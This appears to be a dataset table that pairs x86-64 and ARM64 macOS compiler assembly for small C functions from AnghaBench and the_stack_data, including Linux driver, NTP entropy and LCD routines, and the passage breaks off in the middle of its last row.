x86 stringlengths 122 5.97M | arm stringlengths 122 5.84M | file stringlengths 18 195 | source stringclasses 3 values |
|---|---|---|---|
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mem_hotplug_done ## -- Begin function mem_hotplug_done
.p2align 4, 0x90
_mem_hotplug_done: ## @mem_hotplug_done
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _mem_hotplug_lock@GOTPCREL(%rip), %rdi
callq _percpu_up_write
xorl %eax, %eax
popq %rbp
jmp _cpus_read_unlock ## TAILCALL
.cfi_endproc
## -- End function
.comm _mem_hotplug_lock,4,2 ## @mem_hotplug_lock
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _mem_hotplug_done ; -- Begin function mem_hotplug_done
.p2align 2
_mem_hotplug_done: ; @mem_hotplug_done
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh0:
adrp x0, _mem_hotplug_lock@GOTPAGE
Lloh1:
ldr x0, [x0, _mem_hotplug_lock@GOTPAGEOFF]
bl _percpu_up_write
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
b _cpus_read_unlock
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _mem_hotplug_lock,4,2 ; @mem_hotplug_lock
.subsections_via_symbols
| AnghaBench/linux/mm/extr_memory_hotplug.c_mem_hotplug_done.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function ibmvtpm_crq_send_init
_ibmvtpm_crq_send_init: ## @ibmvtpm_crq_send_init
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %r14
movl 4(%rdi), %edi
movq _INIT_CRQ_CMD@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _ibmvtpm_send_crq_word
movl %eax, %ebx
movq _H_SUCCESS@GOTPCREL(%rip), %rax
cmpl (%rax), %ebx
je LBB0_2
## %bb.1:
movl (%r14), %edi
leaq L_.str(%rip), %rsi
movl %ebx, %edx
callq _dev_err
LBB0_2:
movl %ebx, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _INIT_CRQ_CMD,4,2 ## @INIT_CRQ_CMD
.comm _H_SUCCESS,4,2 ## @H_SUCCESS
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "ibmvtpm_crq_send_init failed rc=%d\n"
.no_dead_strip _ibmvtpm_crq_send_init
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ibmvtpm_crq_send_init
_ibmvtpm_crq_send_init: ; @ibmvtpm_crq_send_init
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x20, x0
ldr w0, [x0, #4]
Lloh0:
adrp x8, _INIT_CRQ_CMD@GOTPAGE
Lloh1:
ldr x8, [x8, _INIT_CRQ_CMD@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
bl _ibmvtpm_send_crq_word
mov x19, x0
Lloh3:
adrp x8, _H_SUCCESS@GOTPAGE
Lloh4:
ldr x8, [x8, _H_SUCCESS@GOTPAGEOFF]
Lloh5:
ldr w8, [x8]
cmp w0, w8
b.eq LBB0_2
; %bb.1:
ldr w0, [x20]
Lloh6:
adrp x1, l_.str@PAGE
Lloh7:
add x1, x1, l_.str@PAGEOFF
mov x2, x19
bl _dev_err
LBB0_2:
mov x0, x19
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh6, Lloh7
.cfi_endproc
; -- End function
.comm _INIT_CRQ_CMD,4,2 ; @INIT_CRQ_CMD
.comm _H_SUCCESS,4,2 ; @H_SUCCESS
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "ibmvtpm_crq_send_init failed rc=%d\n"
.no_dead_strip _ibmvtpm_crq_send_init
.subsections_via_symbols
| AnghaBench/linux/drivers/char/tpm/extr_tpm_ibmvtpm.c_ibmvtpm_crq_send_init.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _isc_entropy_createfilesource ## -- Begin function isc_entropy_createfilesource
.p2align 4, 0x90
_isc_entropy_createfilesource: ## @isc_entropy_createfilesource
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %rbx
movq %rdi, %r14
callq _VALID_ENTROPY
movl %eax, %edi
callq _REQUIRE
xorl %edi, %edi
testq %rbx, %rbx
setne %dil
callq _REQUIRE
movq %r14, %rdi
callq _LOCK
movq _PROV_RSA_FULL@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _CRYPT_VERIFYCONTEXT@GOTPCREL(%rip), %rax
movl (%rax), %r8d
leaq -28(%rbp), %rdi
xorl %esi, %esi
xorl %edx, %edx
callq _CryptAcquireContext
testl %eax, %eax
je LBB0_1
## %bb.2:
movl 4(%r14), %edi
movl $40, %esi
callq _isc_mem_get
testq %rax, %rax
je LBB0_3
## %bb.6:
movq %rax, %rbx
movq _SOURCE_MAGIC@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 36(%rbx)
movq _ENTROPY_SOURCETYPE_FILE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 32(%rbx)
movq %r14, 24(%rbx)
movq $0, 16(%rbx)
movq _ISC_FALSE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, 8(%rbx)
movl 4(%rbx), %edi
xorl %esi, %esi
movl $4, %edx
callq _memset
movq _link@GOTPCREL(%rip), %r15
movl (%r15), %esi
movq %rbx, %rdi
callq _ISC_LINK_INIT
movl -28(%rbp), %eax
movl %eax, (%rbx)
movl 12(%r14), %edi
movl (%r15), %edx
movq %rbx, %rsi
callq _ISC_LIST_APPEND
incl 8(%r14)
movq %r14, %rdi
callq _UNLOCK
movq _ISC_R_SUCCESS@GOTPCREL(%rip), %rax
movl (%rax), %ebx
jmp LBB0_5
LBB0_1:
xorl %eax, %eax
callq _GetLastError
movq _ISC_R_IOERROR@GOTPCREL(%rip), %rax
movl (%rax), %ebx
jmp LBB0_4
LBB0_3:
movq _ISC_R_NOMEMORY@GOTPCREL(%rip), %rax
movl (%rax), %ebx
movl -28(%rbp), %edi
xorl %esi, %esi
callq _CryptReleaseContext
LBB0_4:
movq %r14, %rdi
callq _UNLOCK
LBB0_5:
movl %ebx, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _PROV_RSA_FULL,4,2 ## @PROV_RSA_FULL
.comm _CRYPT_VERIFYCONTEXT,4,2 ## @CRYPT_VERIFYCONTEXT
.comm _ISC_R_IOERROR,4,2 ## @ISC_R_IOERROR
.comm _ISC_R_NOMEMORY,4,2 ## @ISC_R_NOMEMORY
.comm _SOURCE_MAGIC,4,2 ## @SOURCE_MAGIC
.comm _ENTROPY_SOURCETYPE_FILE,4,2 ## @ENTROPY_SOURCETYPE_FILE
.comm _ISC_FALSE,4,2 ## @ISC_FALSE
.comm _link,4,2 ## @link
.comm _ISC_R_SUCCESS,4,2 ## @ISC_R_SUCCESS
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _isc_entropy_createfilesource ; -- Begin function isc_entropy_createfilesource
.p2align 2
_isc_entropy_createfilesource: ; @isc_entropy_createfilesource
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x20, x1
mov x19, x0
bl _VALID_ENTROPY
bl _REQUIRE
cmp x20, #0
cset w0, ne
bl _REQUIRE
mov x0, x19
bl _LOCK
Lloh0:
adrp x8, _PROV_RSA_FULL@GOTPAGE
Lloh1:
ldr x8, [x8, _PROV_RSA_FULL@GOTPAGEOFF]
Lloh2:
ldr w3, [x8]
Lloh3:
adrp x8, _CRYPT_VERIFYCONTEXT@GOTPAGE
Lloh4:
ldr x8, [x8, _CRYPT_VERIFYCONTEXT@GOTPAGEOFF]
Lloh5:
ldr w4, [x8]
add x0, sp, #12
mov x1, #0
mov x2, #0
bl _CryptAcquireContext
cbz w0, LBB0_3
; %bb.1:
ldr w0, [x19, #4]
mov w1, #40
bl _isc_mem_get
cbz x0, LBB0_4
; %bb.2:
mov x20, x0
Lloh6:
adrp x8, _SOURCE_MAGIC@GOTPAGE
Lloh7:
ldr x8, [x8, _SOURCE_MAGIC@GOTPAGEOFF]
Lloh8:
ldr w8, [x8]
Lloh9:
adrp x9, _ENTROPY_SOURCETYPE_FILE@GOTPAGE
Lloh10:
ldr x9, [x9, _ENTROPY_SOURCETYPE_FILE@GOTPAGEOFF]
Lloh11:
ldr w9, [x9]
stp w9, w8, [x0, #32]
stp xzr, x19, [x0, #16]
Lloh12:
adrp x8, _ISC_FALSE@GOTPAGE
Lloh13:
ldr x8, [x8, _ISC_FALSE@GOTPAGEOFF]
Lloh14:
ldr w8, [x8]
str w8, [x0, #8]
ldr w0, [x0, #4]
mov w1, #0
mov w2, #4
bl _memset
Lloh15:
adrp x21, _link@GOTPAGE
Lloh16:
ldr x21, [x21, _link@GOTPAGEOFF]
ldr w1, [x21]
mov x0, x20
bl _ISC_LINK_INIT
ldr w8, [sp, #12]
str w8, [x20]
ldr w0, [x19, #12]
ldr w2, [x21]
mov x1, x20
bl _ISC_LIST_APPEND
ldr w8, [x19, #8]
add w8, w8, #1
str w8, [x19, #8]
mov x0, x19
bl _UNLOCK
Lloh17:
adrp x8, _ISC_R_SUCCESS@GOTPAGE
Lloh18:
ldr x8, [x8, _ISC_R_SUCCESS@GOTPAGEOFF]
Lloh19:
ldr w20, [x8]
b LBB0_6
LBB0_3:
bl _GetLastError
Lloh20:
adrp x8, _ISC_R_IOERROR@GOTPAGE
Lloh21:
ldr x8, [x8, _ISC_R_IOERROR@GOTPAGEOFF]
Lloh22:
ldr w20, [x8]
b LBB0_5
LBB0_4:
Lloh23:
adrp x8, _ISC_R_NOMEMORY@GOTPAGE
Lloh24:
ldr x8, [x8, _ISC_R_NOMEMORY@GOTPAGEOFF]
Lloh25:
ldr w20, [x8]
ldr w0, [sp, #12]
mov w1, #0
bl _CryptReleaseContext
LBB0_5:
mov x0, x19
bl _UNLOCK
LBB0_6:
mov x0, x20
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
ret
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19
.loh AdrpLdrGot Lloh15, Lloh16
.loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22
.loh AdrpLdrGotLdr Lloh23, Lloh24, Lloh25
.cfi_endproc
; -- End function
.comm _PROV_RSA_FULL,4,2 ; @PROV_RSA_FULL
.comm _CRYPT_VERIFYCONTEXT,4,2 ; @CRYPT_VERIFYCONTEXT
.comm _ISC_R_IOERROR,4,2 ; @ISC_R_IOERROR
.comm _ISC_R_NOMEMORY,4,2 ; @ISC_R_NOMEMORY
.comm _SOURCE_MAGIC,4,2 ; @SOURCE_MAGIC
.comm _ENTROPY_SOURCETYPE_FILE,4,2 ; @ENTROPY_SOURCETYPE_FILE
.comm _ISC_FALSE,4,2 ; @ISC_FALSE
.comm _link,4,2 ; @link
.comm _ISC_R_SUCCESS,4,2 ; @ISC_R_SUCCESS
.subsections_via_symbols
| AnghaBench/freebsd/contrib/ntp/lib/isc/win32/extr_entropy.c_isc_entropy_createfilesource.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
subq $16, %rsp
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
leaq L_.str(%rip), %rdi
leaq -40(%rbp), %rsi
xorl %eax, %eax
callq _scanf
cmpl $0, -40(%rbp)
jle LBB0_3
## %bb.1:
leaq L_.str(%rip), %r14
leaq -44(%rbp), %r15
movq _a@GOTPCREL(%rip), %r12
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_2: ## =>This Inner Loop Header: Depth=1
movq %r14, %rdi
movq %r15, %rsi
xorl %eax, %eax
callq _scanf
movslq -44(%rbp), %rax
incl (%r12,%rax,4)
incl %ebx
cmpl -40(%rbp), %ebx
jl LBB0_2
LBB0_3:
leaq L_.str(%rip), %rdi
leaq -36(%rbp), %rsi
xorl %eax, %eax
callq _scanf
movl $100000, %esi ## imm = 0x186A0
movl -36(%rbp), %eax
movq _a@GOTPCREL(%rip), %rcx
.p2align 4, 0x90
LBB0_4: ## =>This Inner Loop Header: Depth=1
movl (%rcx,%rsi,4), %edx
testl %edx, %edx
je LBB0_6
## %bb.5: ## in Loop: Header=BB0_4 Depth=1
decl %eax
movl %eax, -36(%rbp)
LBB0_6: ## in Loop: Header=BB0_4 Depth=1
testl %eax, %eax
je LBB0_12
## %bb.7: ## in Loop: Header=BB0_4 Depth=1
testq %rsi, %rsi
je LBB0_13
## %bb.8: ## in Loop: Header=BB0_4 Depth=1
movl -4(%rcx,%rsi,4), %edx
testl %edx, %edx
je LBB0_10
## %bb.9: ## in Loop: Header=BB0_4 Depth=1
decl %eax
movl %eax, -36(%rbp)
LBB0_10: ## in Loop: Header=BB0_4 Depth=1
testl %eax, %eax
je LBB0_11
## %bb.14: ## in Loop: Header=BB0_4 Depth=1
addq $-2, %rsi
jmp LBB0_4
LBB0_11:
decq %rsi
LBB0_12:
leaq L_.str.1(%rip), %rdi
## kill: def $esi killed $esi killed $rsi
xorl %eax, %eax
callq _printf
LBB0_13:
xorl %eax, %eax
addq $16, %rsp
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d"
.comm _a,400000,4 ## @a
L_.str.1: ## @.str.1
.asciz "%d %d"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #80
.cfi_def_cfa_offset 80
stp x22, x21, [sp, #32] ; 16-byte Folded Spill
stp x20, x19, [sp, #48] ; 16-byte Folded Spill
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
add x8, sp, #28
str x8, [sp]
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr w8, [sp, #28]
Lloh2:
adrp x20, _a@GOTPAGE
Lloh3:
ldr x20, [x20, _a@GOTPAGEOFF]
cmp w8, #1
b.lt LBB0_3
; %bb.1:
mov w21, #0
add x22, sp, #24
Lloh4:
adrp x19, l_.str@PAGE
Lloh5:
add x19, x19, l_.str@PAGEOFF
LBB0_2: ; =>This Inner Loop Header: Depth=1
str x22, [sp]
mov x0, x19
bl _scanf
ldrsw x8, [sp, #24]
lsl x8, x8, #2
ldr w9, [x20, x8]
add w9, w9, #1
str w9, [x20, x8]
add w21, w21, #1
ldr w8, [sp, #28]
cmp w21, w8
b.lt LBB0_2
LBB0_3:
add x8, sp, #20
str x8, [sp]
Lloh6:
adrp x0, l_.str@PAGE
Lloh7:
add x0, x0, l_.str@PAGEOFF
bl _scanf
add x8, x20, #97, lsl #12 ; =397312
add x9, x8, #2688
mov w8, #34465
movk w8, #1, lsl #16
ldr w10, [sp, #20]
LBB0_4: ; =>This Inner Loop Header: Depth=1
ldr w11, [x9]
cbz w11, LBB0_6
; %bb.5: ; in Loop: Header=BB0_4 Depth=1
sub w10, w10, #1
str w10, [sp, #20]
LBB0_6: ; in Loop: Header=BB0_4 Depth=1
cbz w10, LBB0_8
; %bb.7: ; in Loop: Header=BB0_4 Depth=1
sub x9, x9, #4
sub x8, x8, #1
cbnz x8, LBB0_4
b LBB0_9
LBB0_8:
sub x8, x8, #1
stp x8, x11, [sp]
Lloh8:
adrp x0, l_.str.1@PAGE
Lloh9:
add x0, x0, l_.str.1@PAGEOFF
bl _printf
LBB0_9:
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
ldp x20, x19, [sp, #48] ; 16-byte Folded Reload
ldp x22, x21, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #80
ret
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpAdd Lloh8, Lloh9
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d"
.comm _a,400000,2 ; @a
l_.str.1: ; @.str.1
.asciz "%d %d"
.subsections_via_symbols
| the_stack_data/54824664.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _iounmap ## -- Begin function iounmap
.p2align 4, 0x90
_iounmap: ## @iounmap
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _iounmap ; -- Begin function iounmap
.p2align 2
_iounmap: ; @iounmap
.cfi_startproc
; %bb.0:
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/arch/h8300/mm/extr_kmap.c_iounmap.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _lcd_clrscr ## -- Begin function lcd_clrscr
.p2align 4, 0x90
_lcd_clrscr: ## @lcd_clrscr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _LCD_CLR@GOTPCREL(%rip), %rax
movb (%rax), %cl
movl $1, %edi
shll %cl, %edi
popq %rbp
jmp _lcd_command ## TAILCALL
.cfi_endproc
## -- End function
.comm _LCD_CLR,4,2 ## @LCD_CLR
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _lcd_clrscr ; -- Begin function lcd_clrscr
.p2align 2
_lcd_clrscr: ; @lcd_clrscr
.cfi_startproc
; %bb.0:
Lloh0:
adrp x8, _LCD_CLR@GOTPAGE
Lloh1:
ldr x8, [x8, _LCD_CLR@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
mov w9, #1
lsl w0, w9, w8
b _lcd_command
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.cfi_endproc
; -- End function
.comm _LCD_CLR,4,2 ; @LCD_CLR
.subsections_via_symbols
| AnghaBench/qmk_firmware/drivers/avr/extr_hd44780.c_lcd_clrscr.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _smu_set_watermarks_for_clocks_ranges ## -- Begin function smu_set_watermarks_for_clocks_ranges
.p2align 4, 0x90
_smu_set_watermarks_for_clocks_ranges: ## @smu_set_watermarks_for_clocks_ranges
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %rax
orq %rsi, %rax
je LBB0_1
## %bb.2:
movq %rsi, %rbx
movl (%rsi), %ecx
cmpl $4, %ecx
jg LBB0_1
## %bb.3:
movl 4(%rbx), %eax
cmpl $4, %eax
jle LBB0_4
LBB0_1:
movq _EINVAL@GOTPCREL(%rip), %rcx
xorl %eax, %eax
subl (%rcx), %eax
LBB0_10:
## kill: def $eax killed $eax killed $rax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_4:
movq %rdi, %r14
testl %ecx, %ecx
je LBB0_6
## %bb.5:
movq 16(%rbx), %rax
movslq (%rax), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq 8(%rcx), %rcx
movq %rax, 32(%rcx)
movq 16(%rbx), %rax
movslq 4(%rax), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq 8(%rcx), %rcx
movq %rax, 24(%rcx)
movq 16(%rbx), %rax
movslq 8(%rax), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq 8(%rcx), %rcx
movq %rax, 16(%rcx)
movq 16(%rbx), %rax
movslq 12(%rax), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq 8(%rcx), %rdx
movq %rax, 8(%rdx)
movq 16(%rbx), %rax
movq 16(%rax), %rax
movq 8(%rcx), %rcx
movq %rax, (%rcx)
movl 4(%rbx), %eax
LBB0_6:
testl %eax, %eax
je LBB0_9
## %bb.7:
movq 8(%rbx), %rax
xorl %r12d, %r12d
xorl %r13d, %r13d
xorl %r15d, %r15d
.p2align 4, 0x90
LBB0_8: ## =>This Inner Loop Header: Depth=1
movslq (%rax,%r12), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq (%rcx), %rcx
movq %rax, 32(%rcx,%r13)
movq 8(%rbx), %rax
movslq 4(%rax,%r12), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq (%rcx), %rcx
movq %rax, 24(%rcx,%r13)
movq 8(%rbx), %rax
movslq 8(%rax,%r12), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq (%rcx), %rcx
movq %rax, 16(%rcx,%r13)
movq 8(%rbx), %rax
movslq 12(%rax,%r12), %rax
imulq $274877907, %rax, %rdi ## imm = 0x10624DD3
movq %rdi, %rax
shrq $63, %rax
sarq $38, %rdi
addl %eax, %edi
## kill: def $edi killed $edi killed $rdi
callq _cpu_to_le16
movq (%r14), %rcx
movq (%rcx), %rdx
movq %rax, 8(%rdx,%r13)
movq 8(%rbx), %rax
movq 16(%rax,%r12), %rdx
movq (%rcx), %rcx
movq %rdx, (%rcx,%r13)
incq %r15
movslq 4(%rbx), %rcx
addq $40, %r13
addq $24, %r12
cmpq %rcx, %r15
jb LBB0_8
LBB0_9:
xorl %eax, %eax
jmp LBB0_10
.cfi_endproc
## -- End function
.comm _EINVAL,4,2 ## @EINVAL
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.globl _smu_set_watermarks_for_clocks_ranges ; -- Begin function smu_set_watermarks_for_clocks_ranges
.p2align 2
_smu_set_watermarks_for_clocks_ranges: ; @smu_set_watermarks_for_clocks_ranges
.cfi_startproc
; %bb.0:
orr x8, x0, x1
cbz x8, LBB0_4
; %bb.1:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x1
ldr w9, [x1]
cmp w9, #4
b.gt LBB0_3
; %bb.2:
ldr w8, [x19, #4]
cmp w8, #4
b.le LBB0_5
LBB0_3:
Lloh0:
adrp x8, _EINVAL@GOTPAGE
Lloh1:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
neg w0, w8
b LBB0_11
LBB0_4:
Lloh3:
adrp x8, _EINVAL@GOTPAGE
Lloh4:
ldr x8, [x8, _EINVAL@GOTPAGEOFF]
Lloh5:
ldr w8, [x8]
neg w0, w8
ret
LBB0_5:
mov x20, x0
cbz w9, LBB0_7
; %bb.6:
ldr x8, [x19, #16]
ldrsw x8, [x8]
mov w21, #19923 ; =0x4dd3
movk w21, #4194, lsl #16
smull x8, w8, w21
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x8, [x8, #8]
str x0, [x8, #32]
ldr x8, [x19, #16]
ldrsw x8, [x8, #4]
smull x8, w8, w21
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x8, [x8, #8]
str x0, [x8, #24]
ldr x8, [x19, #16]
ldrsw x8, [x8, #8]
smull x8, w8, w21
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x8, [x8, #8]
str x0, [x8, #16]
ldr x8, [x19, #16]
ldrsw x8, [x8, #12]
smull x8, w8, w21
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x9, [x8, #8]
str x0, [x9, #8]
ldr x9, [x19, #16]
ldr x9, [x9, #16]
ldr x8, [x8, #8]
str x9, [x8]
ldr w8, [x19, #4]
LBB0_7:
cbz w8, LBB0_10
; %bb.8:
mov x21, #0 ; =0x0
mov x22, #0 ; =0x0
mov x23, #0 ; =0x0
ldr x8, [x19, #8]
mov w24, #19923 ; =0x4dd3
movk w24, #4194, lsl #16
LBB0_9: ; =>This Inner Loop Header: Depth=1
ldrsw x8, [x8, x21]
smull x8, w8, w24
lsr x9, x8, #32
lsr x8, x8, #63
add w0, w8, w9, asr #6
bl _cpu_to_le16
ldr x8, [x20]
ldr x8, [x8]
add x8, x8, x22
str x0, [x8, #32]
ldr x8, [x19, #8]
add x8, x8, x21
ldrsw x8, [x8, #4]
smull x8, w8, w24
lsr x9, x8, #32
lsr x8, x8, #63
